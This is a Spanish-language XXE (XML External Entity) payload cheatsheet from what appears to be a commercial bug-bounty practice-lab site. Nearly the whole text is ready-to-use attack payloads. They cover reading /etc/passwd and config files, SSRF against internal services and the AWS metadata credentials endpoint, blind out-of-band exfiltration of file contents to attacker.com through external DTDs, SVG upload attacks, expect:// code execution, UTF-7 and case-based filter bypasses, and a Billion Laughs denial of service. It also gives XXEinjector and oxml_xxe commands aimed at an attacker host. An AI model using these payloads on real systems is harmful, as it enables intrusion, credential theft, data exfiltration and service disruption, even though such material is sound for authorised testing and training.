Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →Cheatsheet XXE
XML External Entity
Referencia rápida
- →Buscar XXE en: uploads de DOCX/XLSX/SVG, APIs SOAP, parsers RSS/XML, configuraciones SAML
- →Convertir Content-Type a application/xml en cualquier endpoint que acepte datos
- →Para blind XXE, usar parameter entities (%) con DTD externo para exfiltracion OOB
- →SVG es ideal para XXE porque no tiene magic bytes - bypasea validaciones de imagen
- →Si el parser es PHP, probar expect:// para RCE directo
Lectura de archivos (LFI)
LFI basico /etc/passwd
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><foo>&xxe;</foo>
PHP filter base64
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://target.com/config.php"> ]><foo><result>∾</result></foo>
XInclude
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>
CDATA wrapper para XML fileswrapper.dtd: <!ENTITY wrapper "%start;%file;%end;">
<?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY % start "<![CDATA["> <!ENTITY % file SYSTEM "file:///var/www/html/WEB-INF/web.xml"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://attacker.com/wrapper.dtd"> %dtd;]> <data>&wrapper;</data>
SSRF via XXE
SSRF a servicio interno
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "https://internal-service.com/admin"> ]><foo>&xxe;</foo>
AWS metadata via XXE
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]><foo>&xxe;</foo>
Blind XXE - Out-of-Band
OOB via Collaborator
<?xml version="1.0"?> <!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR.oastify.com"> ]><stockCheck><productId>&xxe;</productId></stockCheck>
Parameter entity OOB
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR"> %xxe; ]>
Exfiltracion via DTD externoexploit.dtd contiene: <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>"> %eval; %exfil;
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/exploit.dtd"> %xxe;]>
FTP exfiltracionftp.dtd envia datos via FTP al servidor del atacante
<!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://attacker.com/ftp.dtd"> %remote; %send;]> <data>4</data>
XXE via upload de archivos
SVG con XXE
<?xml version="1.0" standalone="yes"?> <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg"> <text font-size="16" x="0" y="16">&xxe;</text> </svg>
SVG con expect:// (RCE)
<svg xmlns="http://www.w3.org/2000/svg"> <image xlink:href="expect://id"></image> </svg>
UTF-7 encoding bypassConvierte con: recode UTF8..UTF7 payload.xml
<?xml version="1.0" encoding="UTF-7"?> +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://attacker.com+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
DoS y bypass de filtros
Billion Laughs (DoS)
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol9 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> ]><lolz>&lol9;</lolz>
Case manipulation bypass
<!DOCTYPE foo [<!entity xxe SYSTEM "file:///etc/passwd">]>
Base64 encoding bypass
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "data:text/plain;base64,L2V0Yy9wYXNzd2Q="> ]><foo>&xxe;</foo>
DTD chaining
<!DOCTYPE foo [ <!ENTITY % remote SYSTEM "http://attacker.com/external.dtd"> %remote;]>
Herramientas
XXEinjector
Herramienta automatizada de XXE con multiples modos de exfiltracion
ruby XXEinjector.rb --host=attacker.com --file=request.txt --path=/etc/passwd --oob=http
oxml_xxe
Genera archivos DOCX/XLSX/PPTX con payloads XXE embebidos
python3 oxml_xxe.py -b http://attacker.com -f malicious.xlsx
Burp Collaborator
Servidor OOB para confirmar blind XXE via DNS/HTTP callbacks
Burp Suite > Burp Collaborator Client > Copy to clipboard
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de práctica